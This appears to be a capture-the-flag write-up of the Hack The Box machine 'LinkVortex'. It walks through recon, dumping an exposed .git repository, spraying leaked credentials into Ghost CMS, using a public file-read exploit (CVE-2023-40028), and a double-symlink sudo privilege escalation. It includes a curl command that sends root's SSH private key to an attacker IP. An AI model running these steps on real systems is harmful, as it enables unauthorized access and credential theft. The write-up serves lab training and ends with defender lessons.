LinkVortex

INTRODUCTION

LinkVortex was all about the recon steps. A little bit of OSINT with a portion of web fuzzing is all that it takes. First though, we must discover the technology that the target website runs on, do a little reading on how it works, and make some educated guesses about directory structure: only then will we find the dashboard login. On the dashboard login, we discover a username oracle. Finally, after finding a vulnerable subdomain, we are able to do some .git reconstruction to obtain some hardcoded credentials in the source code. Combining all of those clues together, we can finally gain access to the dashboard.

Thankfully, the dashboard itself can Export everything that we need to know. Proper OSINT from earlier will inform us exactly what part of which file we should examine - that file will contain some credentials. We can re-use these credentials to gain SSH access to the target, along with the user flag.

Getting the root flag was a piece of cake. No enumeration is required - just read through the script that we have sudo access to, and try to find the logical flaw in the program. A little bit of Linux knowledge will help, but it shouldn’t be too big of a challenge for anyone that got this far.

This box felt a little “guessy” at the beginning, but ended in a fun, quick privesc. Great for beginners!

title picture

RECON

nmap scans

Port scan

I’ll set $RADDR to the target machine’s IP, and scan it with a simple port scan of the full range of ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/

Note the redirect to http://linkvortex.htb

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

Nothing notable from this.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE     VERSION
17/udp    open|filtered qotd
68/udp    open|filtered tcpwrapped
136/udp   open|filtered tcpwrapped
139/udp   open|filtered tcpwrapped
996/udp   open|filtered tcpwrapped
997/udp   open|filtered tcpwrapped
1025/udp  open|filtered blackjack
20031/udp open|filtered tcpwrapped
32769/udp open|filtered filenet-rpc
49194/udp open|filtered unknown
49201/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=linkvortex.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Oh interesting. There’s some pretty wild headers on that site.

I wonder if they’re using this “Ghost” (I’m sure it’s a popular name) 👻

Edit: yup, it is!

I’m really not loving their documentation, but yeah… there should be:

  • A dashboard at /ghost
  • An API at /ghost/api

I’ll be sure to check those during directory enumeration 🚩

Subdomain Enumeration

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results.

Next I’ll check for subdomains of linkvortex.htb

WLIST="/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enum

Great - we found dev.linkvortex.htb. I’ll add that to /etc/hosts then move on to directory enumeration on linkvortex.htb and dev.linkvortex.htb:

echo "$RADDR dev.$DOMAIN" | sudo tee -a /etc/hosts

Directory Enumeration

Directories for linkvortex.htb:

WLIST=/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -fs 0

directory enum 1

Since we know it’s using the “Ghost” CMS, let’s check for that directory specifically:

ffuf -w $WLIST:FUZZ -u http://$DOMAIN/ghost/FUZZ -t 60 -ic -c -timeout 4 -mc all -fs 0,136

ghost directory

Great, there’s an index page (.) and presumably some API that we can’t access (api). I’ll investigate it after I finish fuzzing (the json file too) 🚩

Now, the directories for dev.linkvortex.htb:

ffuf -w $WLIST:FUZZ -u http://dev.$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-dev -of json -timeout 4 -fs 0

directory enum 2

Hmm… That’s not very useful, to be honest. I’m going to retry both domains using a different wordlist (actually, a bunch of wordlists):

Merging wordlists

I want a more general-purpose wordlist for doing web directory/file enumeration.

cd /usr/share/seclists/Discovery/Web-Content
# Merge a bunch of wordlists from Seclists
sudo sort -u raft-large-directories-lowercase.txt raft-large-words-lowercase.txt directory-list-2.3-small.txt quickhits.txt common.txt -o /tmp/dirs-and-files.txt;
# Remove the junk with a trailing slash
sudo grep -v '.*/$' /tmp/dirs-and-files.txt > /usr/share/wordlists/dirs-and-files.txt
wc -l /usr/share/wordlists/dirs-and-files.txt  # 169747 lines -- not too bad!
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -timeout 4 -mc all -fs 0 -fc 404

directory enum 3

That’s much better! Look at all the stuff we found 🤗

I made some manual additions to the top of the wordlist, that’s why there’s a few duplicates. I’ll fix that for the next time I use it.

ffuf -w $WLIST:FUZZ -u http://dev.$DOMAIN/FUZZ -t 60 -ic -c -timeout 4 -mc all -fs 0 -fc 404

directory enum 4

Bingo! There’s an exposed .git directory. Big mistake to leave that open. Before we dive into this, let’s take a peek at the website through the browser.

Exploring the Website

http://linkvortex.htb seems like a typical landing page. As far as I can tell, it’s completely static.

index page

We discovered some stuff under /ghost earlier, too. At http://linkvortex.htb/ghost we get this login page:

ghost login

I tried the usual easy credentials (admin:admin etc), but no luck.

One thing that I noticed is that the Forgot? button can be used for username enumeration. Check out how this shows “User not found.”:

You might even call this a “username oracle” if you wanted to sound fancy 👇

forgot password button

And that json file we saw earlier. It’s a JSON Web Keyset file (JWKS), used for verifying JWT integrity:

{
  "keys": [
    {
      "e": "AQAB",
      "kid": "0fWYMUHmh_awzS--ldm-OS-ecbdYWrVKd-7TTjj-kfk",
      "kty": "RSA",
      "n": "nui6u1jo3tg4Sb7aQHATpJwYwYfSdOP-OyK3mmWDX7owdjukqiimb4obqdhFKm-_ERzDWVQ3e5-QzwcRCSkftGLOCOJcM36lwNrS_iUekdUrKpVYDWaeM-zgDMmmBbAtIn_NoDxQz_JmromMDpr2oOVCMQN2Vca0Ba0fsHXRax8",
      "use": "sig"
    }
  ]
}

The subdomain http://dev.linkvortex.htb is even simpler:

dev.linkvortex.htb

Yep, that’s all it is… Of course, there’s also the .git directory:

dev.linkvortex.htb git

FOOTHOLD

🚫 Exposed git (GitHacker)

We can use GitHacker to analyze the .git directory, and extract the source code.

The author of GitHacker instructs us to use it only from a docker container, since some website publishers may intentionally leave malicious .git directories on their sites (perhaps as canaries even)

Let’s follow their advice, and do it the safe way 👍

Note that we must provide the docker container with a copy of our host system’s /etc/hosts file (read-only). Otherwise, it can’t resolve the IP address of the HTB box

cd source
docker run -v /etc/hosts:/etc/hosts:ro -v $(pwd)/results:/tmp/githacker/results wangyihang/githacker --output-folder /tmp/githacker/results --url http://dev.linkvortex.htb/.git/

⚠️ Looks like there’s a bug with the repository. Even though I’m pretty sure I have the right syntax shown above, it won’t work. There is already an Issue filed in the Github repo for this behaviour.

🚫 Exposed git (Git-dumper + GitTools)

Install Git-dumper if you don’t already have it:

cargo install git-dumper

Run it against the directory:

# make a directory to hold the .git directory
mkdir git-dumper
git-dumper -t 16 http://dev.linkvortex.htb/.git/ ./git-dumper

Now we need to extract the directory. For this, we can use GitTools Extractor

cd ~/Tools
git clone https://github.com/internetwache/GitTools.git
cd -
# The first argument is the path to the directory that contains the .git directory
~/Tools/GitTools/Extractor/extractor.sh ./git-dumper ./GitToolsExtractor

and…. it did absolutely nothing 😒

Exposed git (GitHack)

Ok, let’s try yet another tool: GitHack. First, let’s download it to a temporary directory:

cd ./tools
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python3 GitHack.py http://dev.linkvortex.htb/.git/

After a short while, it terminated, and I found a directory adjacent to the python script, dev.linkvortex.htb. Looks like the script worked!

cd dev.linkvortex.htb
tree .

extracted .git repo

Inside the repository

Let’s check out that Dockerfile first

FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Too bad we don’t have a copy of that .json file… Oh well. Let’s check out the .js file.

Reading through the file, there appear to be several credentials hardcoded into it. They’re probably just for testing, but still worth writing down:

creds in js file

creds in js file 2

creds in js file 3

creds in js file 4

  • test@example.com : OctopiFociPilfer45
  • test-leo@example.com : thisissupersafe
  • not-invited@example.org : lel123456
  • ??? : 1234567890

I’m not very confident that these credentials will be useful, but let’s try them out in the Ghost login anyway:

test login

None of the credentials I found in the js file worked.

🕐 I eventually found one clue though. Each article on http://linkvortex.htb is written by the user admin:

username clue

Combine this with the username oracle we found earlier, during recon, and we can verifiably figure out an email to login with 💡

After a few guesses at the domain part of the email, I found one email that produced the “Your password is incorrect” message - which proves that the email exists!

found  registered email

Great, so let’s try spraying those passwords at this email and see if we get a hit:

  • admin@linkvortex.htb : OctopiFociPilfer45
  • admin@linkvortex.htb : thisissupersafe
  • admin@linkvortex.htb : lel123456
  • admin@linkvortex.htb : 1234567890

Alright! The first one worked 😂 We’re into the dashboard now:

ghost dashboard

Just in case, I tried this same password against SSH for the users “admin” and “leo” - no luck.

USER FLAG

Dashboard

I was having a lot of trouble finding any useful information on the Dashboard, so I tried the Export feature within Settings > Labs. This produced a JSON file with everything important inside.

JSON Export

Notably, the version number: 5.58.0.

About halfway down the JSON file, there are also some RSA keys - both public and private (two keypairs):

RSA keys

To retain the proper formatting, I echo’d them into files:

saving rsa keys

Also, near the bottom of the JSON file, we see the password hash for the admin user. I’m sure this is just the hash of the password we logged in with, though:

admin user hash

CVE-2023-40028

After a bit of research, I found a github repo claiming to be a PoC for an arbitrary file read (authenticated) for Ghost CMS. It’s registered as CVE-2023-40028.

Be sure to change the variable GHOST_URL at line 14 to http://linkvortex.htb before attempting to run the script.

cve-2023-40028

Whoa! The exploit script worked perfectly. Now that I know the right username, I should try those passwords and private keys again.

➡️ Nope, neither private key worked, nor did any of the passwords.

In retrospect, I realize we’re probably seeing the /etc/passwd file of the Ghost CMS docker container 🤔

Unfortunately, there was no id_rsa file for the user node either.

When checking out the Dockerfile (after extracting the .git) we saw a mention of a JSON file, /var/lib/ghost/config.production.json. This is the main configuration file for Ghost CMS. Maybe there are some sensitive details in there?

{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

Ok, there’s one more credential: bob@linkvortex.htb : fibber-talented-worth. Let’s check again for credential reuse:

ssh bob@$RADDR  # fibber-talented-worth

bob ssh

This opens an SSH connection for us in /home/bob, adjacent to the user flag. Read it for some points:

cat user.txt

ROOT FLAG

Local enumeration - bob

Checking sudo -l shows that bob can run /opt/ghost/clean_symlink.sh as an elevated process:

# User bob may run the following commands on linkvortex:
#     (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

Here is the script:

#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

Understand the script

Let’s think of this backwards.

The goal is to run the /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null line so that it reads the target file (probably the root flag?).

To get to the goal, we need to pass these checks, in reverse order:

  1. The CHECK_CONTENT environment variable should be set to true
  2. The LINK_TARGET variable must not contain the substrings etc or root
  3. The argument provided to the script ($1) must be a symlink
  4. The argument provided to the script must end with .png

Now, if the target file that we want to read was somewhere in /home/bob, then this would be completely trivial; we would just make a symlink, then call the script:

ln -s /home/bob/target/filepath /home/bob/my-link.png
export CHECK_CONTENT=true; sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/my-link.png

…then my-link.png would be moved to the quaranine directory, and the contents of /home/bob/target/filepath would be printed to the screen.

Trick the script

So what’s the trick, here? It’s pretty easy if you’ve ever encountered this problem in linux (because it’s usually the cause of quite a headache!):

Just use an intermediate link 😂

Make a symlink to a symlink to the target.

Script ➡️ symlink​ A ➡️ symlink B ➡️ target file

Yes, that’s all!

mkdir /tmp/.Tools
ln -s /root/root.txt /tmp/.Tools/second-hop
ln -s /tmp/.Tools/second-hop /tmp/.Tools/first-hop.png

links setup

Then run the script with sudo:

export CHECK_CONTENT=true; sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/.Tools/first-hop.png
rm /tmp/.Tools/*  # clean up after yourself.

😉 The contents of the flag should appear

EXTRA CREDIT

Privesc to root

We leaked the flag contents, but haven’t actually gotten a root shell yet.

Since we’re pretty sure that root has ssh access, we can turn an arbitrary file read into a root shell by grabbing the SSH private key.

First, we need a way to accept the key. I’ll start up an http server with the ability to recieve file uploads:

sudo ufw allow from $RADDR to any port 8000 proto tcp
simple-server 8000 -v

Now let’s repeat the attack, this time getting /root/.ssh/id_rsa instead of the root flag:

ln -s /root/.ssh/id_rsa /tmp/.Tools/second-hop
ln -s /tmp/.Tools/second-hop /tmp/.Tools/first-hop.png
export CHECK_CONTENT=true
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/.Tools/first-hop.png | tee mykey
curl -X POST -F 'file=@./mykey' http://10.10.14.21:8000
rm ./mykey  # clean up after yourself.

getting id_rsa

Now on the attacker host, set the right permissions on the key and use it to log in:

mv ./mykey ../loot/id_rsa
chmod 600 ../loot/id_rsa
ssh -i ../loot/id_rsa root@$RADDR

root ssh

🍰 Now we have a way to log back in as root, if we wanted to.

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools (although it should already be empty):

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf source/*

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 🛠️ Have several tools on-hand for analyzing git information. Fortunately, I had a few programs that I already knew about for analyzing exposed .git directories…. but unfortunately, none of them worked! When I tried another tool (the fourth one in line) I finally had some success.

  • 🕵️‍♀️ Assemble all your clues and check back on them. On this box, we had to find at least three things before being able to access the dashboard. It’s important to keep an open mind and not fixate on individual clues - instead, try to figure out how each clue factors into the broader puzzle.

two crossed swords

Defender

  • 🔮 Don’t divulge unnecessary info, especially on internet-facing services. I’m not sure if the current version is like this, but we encountered a username oracle at the Ghost CMS login page. It only took a couple guesses to obtain a valid username, once we had the clues and the username oracle in front of us.

  • 🔂 Use recursive logic in scripts. A simple loop with readlink would have been enough to thwart the privesc technique we used.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake